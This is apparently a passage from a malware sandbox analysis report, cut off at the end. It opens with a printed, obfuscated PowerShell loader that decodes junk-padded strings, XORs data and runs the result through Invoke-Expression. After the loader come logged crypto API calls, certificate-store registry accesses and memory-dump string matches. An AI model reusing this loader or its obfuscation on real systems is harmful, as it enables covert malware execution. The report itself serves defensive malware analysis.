enspsBrcrarBeuBetPoiInnSuiKreSps d4Re F'diCseCSpAPrE J9BeASo8To3Ny8 R3Wa8 CDNo9AfA L9InCdr8KoDPe8Ge6NiCPu8skDSt5TeCFe8YaCHuCReBwi8Ph9EnAJa8Un7 C8LiF M9FaAHo8Po9af8La5Mu8 R5Se8 VDOu9VeAHo8Du1Pr8Am6Bl8paF G9FeB T9NeBBl9BoCRe8Tr1Mi8Se4Or8MoDaf8Eq6Mo8KuDDu9 WBMeD f9SkDUnAKiDDuACoCOl6FoAko1Kl8Af6Fa9MaENe8Vo7 T8Re3Ga8UnDEfCPe0MiDLo8paCSt4 BCTr8AnDSaA SDPr9GaDTaEMoDOuEpiDAfFMuD T0ArDSoCHvDBe8RyCFi4VaC S8UnD D8Al9Ho0ArDMaB LDOp8 IDUn8SkDDe8ClCPl4OaCDe8TuDciCArCOp1ni'Vo;Ur& A(Ho`$awSHelUneDmpBueAcz t7Pr)Bi Gi`$ BBAkaBedCle moRemFirEnaDoaGedRge MtSe8Sa;Ps`$BeTAkr RaEnnins BdAneEnsFoeUnrLatSt2Ca= D`"""Ho`$QueBunPavNo: RLFlOKoCOuAGaLShACaPBePRaDBrABlT KA S\\Vaf ScVapKv\\SmtOvaStr WtKouStfstfWeeGjrflyPe\\ Ea Hp tpAne pl GiShn HsBotRiaInnBesOs\\anC CiArtPerAroCan Ss FoSumSgmAneAlrDafSou Ng DlRoeManEkeTo\\UnV SaCoa ZbGoeSlnSybSeeTrsIbiDudBydideSul AsadeCh\\waFArdNoslreRhl osUno DvPheMdrAbsHokOvuRiduddDieDitEn2Op4Ta6Ha\\FiH UoPom TomisBoeRekFisGauvaaHalReiElsBomReeWa\\ FF Hr HeBam SlNeeKrjCaeNotEc.HeKUllAgeSp`"""Or;Gr`$HuBTraShd Se IoUdmTrrGuaPeaLadMie AtIn9Wa an= S RaNHao Sn OsFoc SrCouSytAviGlnOpiSceKasSu4Ov Sa'HyCToCReAInAVa8 G9 H8HjCMi8UnDKe8Sh7Ku8Se5 S9AfAAl8Pr9Sp8Pi9Ec8ceCDi8prD F9DrCLiCFi8 LDSt5SkCDo8DaB A3AfBMoB S9 H1Me9OfBPe9SuC C8 PDDe8va5BuCTa6NeALj1FoAYn7 LCca6 SAFyECl8hy1Ar8Ru4Se8epDDoB a5BiDMa2ErDSy2RoB BAAs8BfDmr8 C9Ou8ToCPaAUn9Ki8Tw4Ho8Un4ChA LAMa9St1In9KrC F8 LDSu9 sBPrC R0faC JCfiBReCAs9klASa8Ku9Fr8Sk6Ho9fuBHu8UdCDe8PrD U9FoB L8VaD D9UnAOs9BeCDuD AAMiCPa1Pa'st;Su&Gr(Un`$LaSTrlbreAspReeElz a7fr) C Br`$ZaBMiaDkdFoeVaoaumAlrOvaLeaOudsteUntEx9 P; D`$ pTDurKru CsSpsFlePrlFisNe0Va Hy=be DNSaoPrnkosHncOtrMiuVotRei KnPlihaeEcs b4Ri I'WaBFe3 TBSoBBr9Un1Al9BrBTa9GrCKo8QuDFi8 L5LoC N6GeBFoAEk9GeDUr8Ps6Ph9AuCBl8 B1Se8Sp5In8StD ICRe6TcA V1 F8Sj6 K9rvCAg8NaDRa9AnAEd8Bi7Ve9Un8PhBFaBLa8FaDBa9InASn9InENe8Fi1 E8ClBfi8NaDPr9BeBStCAf6 aAAf5Fi8 D9re9UbAFo9HyB D8 M0Wa8 m9To8Mu4 DBSv5UnDCa2DaDPr2PoAUnB B8Pa7La9Me8Ex9Af1UdC p0LuCNaCMuAInA H8 F9Oi8 mCMo8HaDSh8Bl7ba8 R5Di9BoASa8No9 V8Ex9 K8GeCSk8 kDMl9ReC DCEx4HeC K8StDMiCTrDTo8ViDBeAReDKaCToC D4BeCAf8urCPa8DeC KCOxBKeCSk9NeAVa8Ps9pa8Sy6Co9SuBSk8 LCim8ImDNo9OvBCe8SkDAf9GeAKi9StCClDUpBFiCSi4baCAt8SiD AEMuDyeBSmDslESkCCo1 T'el;bi&Co(Ti`$ TSNulVaeBepNeeSpzEn7Op)Sa I`$TyTKnrUdu CsBlsFoeInlAnsDi0Ma; B`$grS OaSunLasLinTriSun SgCusAs=La`$DoBUtaTtd ReWio ImRorCia daTodJoeDotMi. Sc SoGeu FnPotPh- S6 L3Hr6Me-Po4Ra0Ur2Ke4Mi; R`$ScTDarPrutesTasUnekalHes N1 B Ba=Ar CoNBio NnmoskecEnr UuBit Pi EnLeiSkeCisSa4Va Re'tiBCl3EnBGlB L9 G1Un9AuBRe9UdCSv8MoDSi8Sa5BrCBe6HaB NA G9 HDPa8Re6Si9FoCIn8He1Ar8 G5st8MeDPrCun6UnAIn1 S8Co6Af9MeCSk8RiDil9 PAek8Au7si9Sc8PaBPlB C8ExDDo9BiAfo9SpESu8No1Po8 EBfl8UdD k9 GBfeC U6 OAAn5Cu8 T9 S9PeAHi9HyBPa8Ga0Ed8Co9He8Ud4 SBSh5CoD U2FaDDe2 TAUnBLa8 T7Pr9Ch8Br9un1VeCPo0 DCExC TA UAho8Bo9 c8GeCZe8 CD S8 I7Ex8Cu5Di9StAch8Di9Fl8Gr9No8LoCTe8OpDMi9poC CCKo4JuCSm8UtDBeEUnDPoBKiDauE SCFd3 RDOrCNeDCo8EqDgaATrDUdCHiCKa4InC C8BeCAnCRvAPoEfr9HaASj8in3 D8fo3Ba8SpD S9IbAKu9CaCPe8 TDSk8Mi6RiCSt4 ACSh8 HCChC NBOdBaf8Co9Wa8Mi6Sy9 gBSt8 r6Su8Ad1Ex8La6Af8MaFWe9NyBSgCHe1Ka' V;Co&Un(ti`$SkSTilSpeCepDee AzTi7Kv) D Wo`$QuTMorDeuMasUssBeeFolNysRe1Fj;Co`$BuTPrrExuMisBusHaeEnlInsLe2sq Te=Tw InNSuoNen LsCecPrr LuMotPoiSunHdiSueHysIn4be R'stC VC FACoCFr8Fr9Ud8UnFma8LoBSn8 SDNe8Ko6Re9reCTa9 KAUn8TvDSi9BeC S9guB HCBo8StDDe5SeCEk8 FBdr3DeBirBAr9Wi1St9AnBSu9MaCCe8 NDBe8 U5PaC i6FrBbaAIm9ErDBe8Bo6 S9ChCHy8Ca1To8 S5Is8NoDXyC A6TuAWi1Sk8Tr6Ba9LeCIn8 UDRe9FeA P8Br7Pl9An8DeBFiBMa8UnDEf9SiATo9 SESc8Pl1In8CaBMi8DeDTv9rvBCoCUd6SiAOx5Ch8Hj9Ne9 JATr9JiBBi8Un0Sc8Tr9Vo8An4 kB A5 IDKa2AmDDr2OvA CFre8FiDRe9OvCFdASpCha8UdDFl8 M4Un8GaDSl8ReFCo8 A9ap9StCSe8 IDStA UE s8Ha7Bu9 KASmAJoEPa9CaDCl8Pl6Mo8MaBTi9 AC G8Pl1ic8Su7Fo8 V6CoBSa8 H8Fl7St8Ov1Bo8Si6Ba9 KCHf8SaDGa9KoA GCmn0MeCDo0Ud8PrEEn8 I3Zu9Ge8TvCun8tjCMiCclBCh8Bu8pi4wh8 V9Ta8Be6Ar8SuDex9BeADr8NoDVi9SmBDrDTe9InD vFkaDnoFSoCRe8AnCstCViAHoCNa9AnDEx8Ba9En8Ut4Sk8Ag1Bl9 ACSa8OvDHj9TrCCh9LdBUnCBi1UsC L4HeCBa8TeCEl0OvADeFPrAEuCTaBYeCPrCUd8SeAsa8UnCRe0UdB R3 SAMa1Cl8Ag6se9 ECtaB S8sh9SlCPs9BeAAmBDe5plCVa4PhC N8SpBSa3FoA G1Mi8Fo6We9IlC DBMi8Di9BaCFo9ToATjBMo5UpC W4EkCIs8AlBNe3 RAEr1Ba8Pl6Tr9LiC TB U8Di9udCBe9TrABlBMa5HyCBa4IrCCe8poBro3HeAAd1St8Pr6Pa9skCsuBte8El9PrCEk9HaAYeBAl5SkC E4AfC P8 SB n3opABe1Th8La6Ev9InCSmBVi8 K9HeC P9CaAHaB D5 DC S1DeCTr8SpCfo0HeBGa3HeASt1Me8Tr6 A9SrCTeB P8an9CeC G9 FABeB i5FiC U1NoC R1 vCDo1Be' S; C&St(Du`$ReSEnlAfeFopFeeEmzKn7Ma)Ay H`$unT Sr SuUhsJosAue tl FsSe2Ex; A`$ UTanrSuuKls As BeKnl FsSv3Le T=Li KaN SobonCusOmcFrrCluAgtRuiBanCoiBeeResJo4 S De'StC SCudAChCUn8St9No8ChFBo8SuBHe8 BDHy8fa6Op9 UCPe9VeAHy8BaDBo9FrC F9unBAsCSe6spAOv1Un8 B6Fo9FoE r8In7Mi8Az3Sa8 KDBaCCo0UsCBrCraBSkCMi9MoAje8Ja9Un8Gl6Cu9SaBPo8FoCVa8ViD M9biBud8MiDLi9SvA a9PrCFoDSpB CC J4LoCOpC BAInETi9 CA I8 C3Pe8 F3Aa8peDVo9TuARe9LoCPi8FiDHy8Sk6TiCBu4 DCDiC CAStBun9UrDCo9 U8Vi9BrADu8Sk7 A8AsAlu8Co1Ne9noBOb8Pr5Mu9 MDSl9IsCEg8Sy1El9 ECLi8InDGlCNo4OcDHj8KnCMa4 SDUn8EnCKa1 M'Re;Ce&Ph(Ti`$ImS ClfreInpPeeKlzPa7sl)He Cy`$IsT Tr Fu SsIoslaeMal NsTh3Ku#Ma;""";<#Sparers Tordenvejr Basigamy #>;;function xorami ($Advokatsekretren,$Administrational) {&$Tankpasserens430 (Trussels9 'No$ToAKldKrvSpoAuk IaHetGasVieLakDarFoeFet PrMgeEtnCa Ig-BobToxBroemrUd Re$ThATrdAem MiMenHeiTes It CrSyaoutexiPlounnSkaTulJo ');}Function Trussels9 { param([String]$Kloakkerne);<#Hejrens detaillisterne Oilcoat Topiarist Stereognostic Ballyrags #>;For($Advokatsekretrenflserens234=2; $Advokatsekretrenflserens234 -lt $Kloakkerne.Length-1; $Advokatsekretrenflserens234+=(2+1+(1-1))){<#Herrerkkers Skrsild Physaria Hydrastine #>;$Landlock+=$Kloakkerne.Substring($Advokatsekretrenflserens234, 1)}$Landlock;};;$Tankpasserens430 = Trussels9 ' RIGaE BXVi ';$Tankpasserens431= Trussels9 $Durbar;&$Tankpasserens430 $Tankpasserens431;<#Legitimatizing Frstesalen Rullemadrassens #>;" = cat C:\\Users\\HAPUBWS\\AppData\\Local\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub" on 2026-8-19.04:21:39.0744a:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}4b:T8c4,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")4c:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")4d:T1579,Found string "$script:ProgramFilesPSPath = Microsoft.PowerShell.Management\Join-Path -Path $env:ProgramFiles -ChildPath "WindowsPowerShell"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Management\Join-Path -Path $script:MyDocumentsFolderPath -ChildPath "WindowsPowerShell"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Management\Join-Path -Path $env:USERPROFILE -ChildPath "Documents\WindowsPowerShell"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:MyDocumentsPSPath = Microsoft.PowerShell.Management\Join-Path -Path $HOME -ChildPath 'Documents\PowerShell'" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:MyDocumentsPSPath = Microsoft.PowerShell.Management\Join-Path -Path $HOME -ChildPath ".local/share/powershell"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:ProgramFilesModulesPath = Microsoft.PowerShell.Management\Join-Path -Path $script:ProgramFilesPSPath -ChildPath "Modules"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:MyDocumentsModulesPath = Microsoft.PowerShell.Management\Join-Path -Path $script:MyDocumentsPSPath -ChildPath "Modules"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:ProgramFilesScriptsPath = Microsoft.PowerShell.Management\Join-Path -Path $script:ProgramFilesPSPath -ChildPath "Scripts"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:MyDocumentsScriptsPath = Microsoft.PowerShell.Management\Join-Path -Path $script:MyDocumentsPSPath -ChildPath "Scripts"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:PSGetProgramDataPath = Microsoft.PowerShell.Management\Join-Path -Path $env:ProgramData -ChildPath 'Microsoft\Windows\PowerShell\PowerShellGet\'" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:PSGetAppLocalPath = Microsoft.PowerShell.Management\Join-Path -Path $env:LOCALAPPDATA -ChildPath 'Microsoft\Windows\PowerShell\PowerShellGet\'" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:PSGetModuleSourcesFilePath = Microsoft.PowerShell.Management\Join-Path -Path $script:PSGetAppLocalPath -ChildPath "PSRepositories.xml"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:PSGetSettingsFilePath = Microsoft.PowerShell.Management\Join-Path -Path $script:PSGetAppLocalPath -ChildPath "PowerShellGetSettings.xml"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:MyDocumentsInstalledScriptInfosPath = Microsoft.PowerShell.Management\Join-Path -Path $script:MyDocumentsScriptsPath -ChildPath 'InstalledScriptInfos'" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$script:ProgramFilesInstalledScriptInfosPath = Microsoft.PowerShell.Management\Join-Path -Path $script:ProgramFilesScriptsPath -ChildPath 'InstalledScriptInfos'" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Publish-Module" (Indicator: "Publish-Module"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "(-not (Microsoft.PowerShell.Management\Test-Path $DestinationLocation) -and" (Indicator: "Test-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Write-Verbose -Message $message" (Indicator: "Write-Verbose"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "if(Microsoft.PowerShell.Management\Test-Path -Path $DestinationLocation)" (Indicator: "Test-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$resolvedPath = Resolve-PathHelper -Path $Path -CallerPSCmdlet $PSCmdlet | Microsoft.PowerShell.Utility\Select-Object -First 1 -ErrorAction Ignore" (Indicator: "Resolve-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "-not (Microsoft.PowerShell.Management\Test-Path -Path $resolvedPath -PathType Container))" (Indicator: "Test-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$moduleName = Microsoft.PowerShell.Management\Split-Path -Path $resolvedPath -Leaf" (Indicator: "Split-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$ModuleVersion = New-Object System.Version" (Indicator: "New-Object"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$moduleName = Microsoft.PowerShell.Management\Split-Path -Path (Microsoft.PowerShell.Management\Split-Path $resolvedPath -Parent) -Leaf" (Indicator: "Split-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$manifestPath = Join-Path -Path $resolvedPath -ChildPath "$moduleName.psd1"" (Indicator: "Join-Path"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp")4e:T870,Found string "Microsoft.PowerShell.Utility\Import-LocalizedData LocalizedData -filename PSGet.Resource.psd1" (Indicator: "Import-LocalizedData"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Add-Type -ReferencedAssemblies $requiredAssembly -TypeDefinition $source -Language CSharp -ErrorAction SilentlyContinue" (Indicator: "Add-Type"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function Register-PSRepository" (Indicator: "Register-PSRepository"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$packageSources | Microsoft.PowerShell.Core\ForEach-Object { New-ModuleSourceFromPackageSource -PackageSource $_ }" (Indicator: "New-Module"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "function New-ScriptFileInfo" (Indicator: "New-ScriptFileInfo"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Add-Member -InputObject $script:PSGetModuleSources[$_] `" (Indicator: "Add-Member"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Add-Member -InputObject $additionalMetadata `" (Indicator: "Add-Member"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Add-Member -InputObject $PSGetItemInfo -MemberType NoteProperty -Name $script:InstalledLocation -Value $InstalledLocation" (Indicator: "Add-Member"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "# If Import-LocalizedData cmdlet was failed to read the .psd1 contents" (Indicator: "Import-LocalizedData"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Add-Member -InputObject $PSScriptInfo `" (Indicator: "Add-Member"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "# Persist the repositories only when Register-PSRepository cmdlet is used" (Indicator: "Register-PSRepository"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp")4f:T176f,Found string "PackageManagement\Find-Package @PSBoundParameters | Microsoft.PowerShell.Core\ForEach-Object {" (Indicator: "Find-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Save-Package @PSBoundParameters" (Indicator: "Save-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Install-Package @PSBoundParameters" (Indicator: "Install-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$installedPackages = PackageManagement\Get-Package @GetPackageParameters" (Indicator: "Get-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$PSGetItemInfos = PackageManagement\Get-Package @GetPackageParameters |" (Indicator: "Get-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$sid = PackageManagement\Install-Package @PSBoundParameters" (Indicator: "Install-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Uninstall-Package @PSBoundParameters" (Indicator: "Uninstall-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$null = PackageManagement\Uninstall-Package @PSBoundParameters" (Indicator: "Install-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "PackageManagement\Get-Package @PSBoundParameters | Microsoft.PowerShell.Core\ForEach-Object {New-PSGetItemInfo -SoftwareIdentity $_ -Type $script:PSArtifactTypeModule}" (Indicator: "Get-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "PackageManagement\Get-Package @PSBoundParameters | Microsoft.PowerShell.Core\ForEach-Object {New-PSGetItemInfo -SoftwareIdentity $_ -Type $script:PSArtifactTypeScript}" (Indicator: "Get-Package"; Source: "00000000-00003176.00000002.72734.06140000.00000004.mdmp") Found string "$providers = 